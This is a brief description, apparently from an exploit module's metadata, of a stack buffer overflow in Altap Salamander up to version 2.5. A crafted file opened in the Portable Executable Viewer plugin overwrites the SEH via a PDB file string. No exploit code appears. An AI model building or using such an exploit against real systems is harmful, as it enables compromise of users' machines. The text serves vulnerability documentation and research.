          This module exploits a buffer overflow in Altap Salamander <= v2.5.
          By creating a malicious file and convincing a user to view the file with
          the Portable Executable Viewer plugin within a vulnerable version of
          Salamander, the PDB file string is copied onto the stack and the
          SEH can be overwritten.
